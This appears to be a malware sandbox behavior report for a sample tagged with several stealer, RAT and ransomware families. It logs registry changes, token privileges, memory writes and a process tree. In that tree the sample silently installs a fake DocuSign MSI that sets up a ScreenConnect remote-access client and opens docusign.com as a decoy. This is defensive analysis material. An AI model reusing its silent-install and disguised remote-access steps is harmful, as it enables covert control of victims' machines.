Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\PackageCode = "38C82D9ED1583419B6D314611F7E0316"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Version = "419627012"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\ = "Essentials Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06D2-AFAB554A76C8}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\ProductIcon = "C:\\Windows\\Installer\\{E9D28C83-851D-9143-6B3D-4116F1E73061}\\DefaultIcon"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2572	msiexec.exe
2572	msiexec.exe
2252	ScreenConnect.ClientService.exe
2252	ScreenConnect.ClientService.exe
6036	msedge.exe
6036	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4568	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4568	msiexec.exe
Token: SeSecurityPrivilege	2572	msiexec.exe
Token: SeCreateTokenPrivilege	4568	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4568	msiexec.exe
Token: SeLockMemoryPrivilege	4568	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4568	msiexec.exe
Token: SeMachineAccountPrivilege	4568	msiexec.exe
Token: SeTcbPrivilege	4568	msiexec.exe
Token: SeSecurityPrivilege	4568	msiexec.exe
Token: SeTakeOwnershipPrivilege	4568	msiexec.exe
Token: SeLoadDriverPrivilege	4568	msiexec.exe
Token: SeSystemProfilePrivilege	4568	msiexec.exe
Token: SeSystemtimePrivilege	4568	msiexec.exe
Token: SeProfSingleProcessPrivilege	4568	msiexec.exe
Token: SeIncBasePriorityPrivilege	4568	msiexec.exe
Token: SeCreatePagefilePrivilege	4568	msiexec.exe
Token: SeCreatePermanentPrivilege	4568	msiexec.exe
Token: SeBackupPrivilege	4568	msiexec.exe
Token: SeRestorePrivilege	4568	msiexec.exe
Token: SeShutdownPrivilege	4568	msiexec.exe
Token: SeDebugPrivilege	4568	msiexec.exe
Token: SeAuditPrivilege	4568	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4568	msiexec.exe
Token: SeChangeNotifyPrivilege	4568	msiexec.exe
Token: SeRemoteShutdownPrivilege	4568	msiexec.exe
Token: SeUndockPrivilege	4568	msiexec.exe
Token: SeSyncAgentPrivilege	4568	msiexec.exe
Token: SeEnableDelegationPrivilege	4568	msiexec.exe
Token: SeManageVolumePrivilege	4568	msiexec.exe
Token: SeImpersonatePrivilege	4568	msiexec.exe
Token: SeCreateGlobalPrivilege	4568	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeBackupPrivilege	1236	vssvc.exe
Token: SeRestorePrivilege	1236	vssvc.exe
Token: SeAuditPrivilege	1236	vssvc.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeShutdownPrivilege	2172	MsiExec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe
Token: SeRestorePrivilege	2572	msiexec.exe
Token: SeTakeOwnershipPrivilege	2572	msiexec.exe

Suspicious use of FindShellTrayWindow 13 IoCs

pid	Process
4356	ScreenConnect.WindowsClient.exe
3516	msedge.exe
3516	msedge.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 11 IoCs

pid	Process
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe
4356	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 4568	3724	2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	85
PID 3724 wrote to memory of 1972	3724	2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	86
PID 1972 wrote to memory of 1868	1972	vc_redist.x64.exe	87
PID 1868 wrote to memory of 1188	1868	vc_redist.x64.exe	89
PID 2572 wrote to memory of 5016	2572	msiexec.exe	91
PID 5016 wrote to memory of 4608	5016	MsiExec.exe	92
PID 2572 wrote to memory of 2172	2572	msiexec.exe	96
PID 2252 wrote to memory of 4356	2252	ScreenConnect.ClientService.exe	98
PID 3724 wrote to memory of 3516	3724	2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	102
PID 3516 wrote to memory of 3884	3516	msedge.exe	103
PID 3516 wrote to memory of 1240	3516	msedge.exe	105
PID 3516 wrote to memory of 1420	3516	msedge.exe	104
PID 3516 wrote to memory of 1240	3516	msedge.exe	105
PID 3516 wrote to memory of 1240	3516	msedge.exe	105
PID 3516 wrote to memory of 4084	3516	msedge.exe	106
PID 3516 wrote to memory of 4084	3516	msedge.exe	106
PID 3516 wrote to memory of 3020	3516	msedge.exe	107
PID 3516 wrote to memory of 3276	3516	msedge.exe	108
PID 3516 wrote to memory of 3020	3516	msedge.exe	107
PID 3516 wrote to memory of 3020	3516	msedge.exe	107
PID 3516 wrote to memory of 3276	3516	msedge.exe	108
PID 3516 wrote to memory of 3276	3516	msedge.exe	108
PID 3516 wrote to memory of 1820	3516	msedge.exe	110
PID 3516 wrote to memory of 1820	3516	msedge.exe	110
PID 3516 wrote to memory of 1820	3516	msedge.exe	110
PID 3516 wrote to memory of 3964	3516	msedge.exe	111
PID 3516 wrote to memory of 3964	3516	msedge.exe	111
PID 3516 wrote to memory of 3964	3516	msedge.exe	111
PID 3516 wrote to memory of 1188	3516	msedge.exe	114
PID 3516 wrote to memory of 1188	3516	msedge.exe	114
PID 3516 wrote to memory of 2756	3516	msedge.exe	115
PID 3516 wrote to memory of 2756	3516	msedge.exe	115
PID 3516 wrote to memory of 2756	3516	msedge.exe	115
PID 3516 wrote to memory of 2108	3516	msedge.exe	116
PID 3516 wrote to memory of 2108	3516	msedge.exe	116
PID 3516 wrote to memory of 4972	3516	msedge.exe	118
PID 3516 wrote to memory of 4972	3516	msedge.exe	118
PID 3516 wrote to memory of 4748	3516	msedge.exe	119
PID 3516 wrote to memory of 4748	3516	msedge.exe	119
PID 3516 wrote to memory of 832	3516	msedge.exe	122
PID 3516 wrote to memory of 832	3516	msedge.exe	122
PID 3516 wrote to memory of 5164	3516	msedge.exe	124
PID 3516 wrote to memory of 5592	3516	msedge.exe	125
PID 3516 wrote to memory of 5592	3516	msedge.exe	125
PID 3516 wrote to memory of 5692	3516	msedge.exe	126
PID 3516 wrote to memory of 5692	3516	msedge.exe	126
PID 3516 wrote to memory of 5828	3516	msedge.exe	127
PID 3516 wrote to memory of 5828	3516	msedge.exe	127
PID 3516 wrote to memory of 5836	3516	msedge.exe	128
PID 3516 wrote to memory of 5836	3516	msedge.exe	128
PID 3516 wrote to memory of 5364	3516	msedge.exe	129
PID 3516 wrote to memory of 5364	3516	msedge.exe	129
PID 3516 wrote to memory of 6136	3516	msedge.exe	137
PID 3516 wrote to memory of 5860	3516	msedge.exe	138
PID 3516 wrote to memory of 5836	3516	msedge.exe	139
PID 3516 wrote to memory of 5528	3516	msedge.exe	140
PID 3516 wrote to memory of 5528	3516	msedge.exe	140
PID 3516 wrote to memory of 4340	3516	msedge.exe	144
PID 3516 wrote to memory of 4340	3516	msedge.exe	144
PID 3516 wrote to memory of 5232	3516	msedge.exe	145
PID 3516 wrote to memory of 5232	3516	msedge.exe	145
PID 3516 wrote to memory of 1184	3516	msedge.exe	146
PID 3516 wrote to memory of 1184	3516	msedge.exe	146
PID 3516 wrote to memory of 6036	3516	msedge.exe	147

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_e447d12605d9577f5a0ce0f6fb6c30d5_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\SysWOW64\msiexec.exe
  "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_30d06587\app.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Users\Admin\AppData\Local\Temp\DocuSign_30d06587\vc_redist.x64.exe
  "C:\Users\Admin\AppData\Local\Temp\DocuSign_30d06587\vc_redist.x64.exe" /install /quiet /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\Temp\{BCD7B4A5-6CE8-48E0-92F9-3B5B80C0DE18}\.cr\vc_redist.x64.exe
    "C:\Windows\Temp\{BCD7B4A5-6CE8-48E0-92F9-3B5B80C0DE18}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_30d06587\vc_redist.x64.exe" -burn.filehandle.attached=692 -burn.filehandle.self=696 /install /quiet /norestart
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Windows\Temp\{DB8D6B0F-AB8E-48D9-95D5-DBEBDC2E9B8C}\.be\VC_redist.x64.exe
      "C:\Windows\Temp\{DB8D6B0F-AB8E-48D9-95D5-DBEBDC2E9B8C}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{AB806FD7-48D8-4B8E-8E3A-C9EC4BFFDB7D} {5401D34C-EB69-4006-A382-086CD70368D9} 1868
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.docusign.com/
  2⤵
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x354,0x7ffe2aadc188,0x7ffe2aadc194,0x7ffe2aadc1a0
    3⤵
    PID:3884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1960,i,17424873659151956334,5235719761734786921,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=2900 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1748,i,16653348133348525418,12370507198262292976,262144 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:2
    3⤵
    PID:1240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,2990215588373144782,7170063260166276761,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:8
    3⤵
    PID:4084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,11834903572518972523,469157385098543029,2097152 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
    3⤵
    PID:3020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,5083721724667361317,17963495083710655097,2097152 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
    3⤵
    PID:3276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4104,i,15620658196589251558,8739430346395481378,2097152 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:1
    3⤵
    PID:1820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4176,i,9507900199535004189,10512535076693128233,2097152 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:2
    3⤵
    PID:3964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3716,i,15892576213828125032,6910633934579809941,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:8
    3⤵
    PID:1188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5156,i,7585107964480299057,11667805161513619745,2097152 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:1
    3⤵
    PID:2756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,9468573235389061441,13398166892772583714,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:8
    3⤵
    PID:2108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5552,i,9574916716104113459,17735370641871245649,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:8
    3⤵
    PID:4972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5556,i,8048537087738221721,15484952628639298937,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:8
    3⤵
    PID:4748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,13866487148991747494,3387122967149243026,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:8
    3⤵
    PID:832
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6680,i,17740677445216063903,6453664857651004712,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:8
    3⤵
    PID:5144
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6680,i,17740677445216063903,6453664857651004712,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:8
    3⤵
    PID:5164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6848,i,9642699234892188848,3451473230214443679,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6820 /prefetch:8
    3⤵
    PID:5592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6976,i,9790314289705290854,5061431751256917168,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=7000 /prefetch:8
    3⤵
    PID:5692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6392,i,14782232834266634705,12083666274158462392,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:8
    3⤵
    PID:5828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,6238642134587621746,8673257258864096815,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6912 /prefetch:8
    3⤵
    PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7248,i,18284190525839421726,16976485428272873071,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:8
    3⤵
    PID:5364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4280,i,7709315247931454784,999327847946112899,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=7260 /prefetch:8
    3⤵
    PID:6136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7296,i,6621711688178480535,6590452931164304977,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:8
    3⤵
    PID:5860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3708,i,1003877422162967056,8228890574317720817,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:8
    3⤵
    PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7392,i,5109639974044395349,17773801031162126279,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6956 /prefetch:8
    3⤵
    PID:5528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6620,i,17867163976268179777,17507315716807730335,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=7620 /prefetch:8
    3⤵
    PID:4340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=860,i,7167833285649447751,1891635913185722851,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=7604 /prefetch:8
    3⤵
    PID:5232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6776,i,11812616964933387727,7152285868720895550,524288 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=7548 /prefetch:8
    3⤵
    PID:1184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
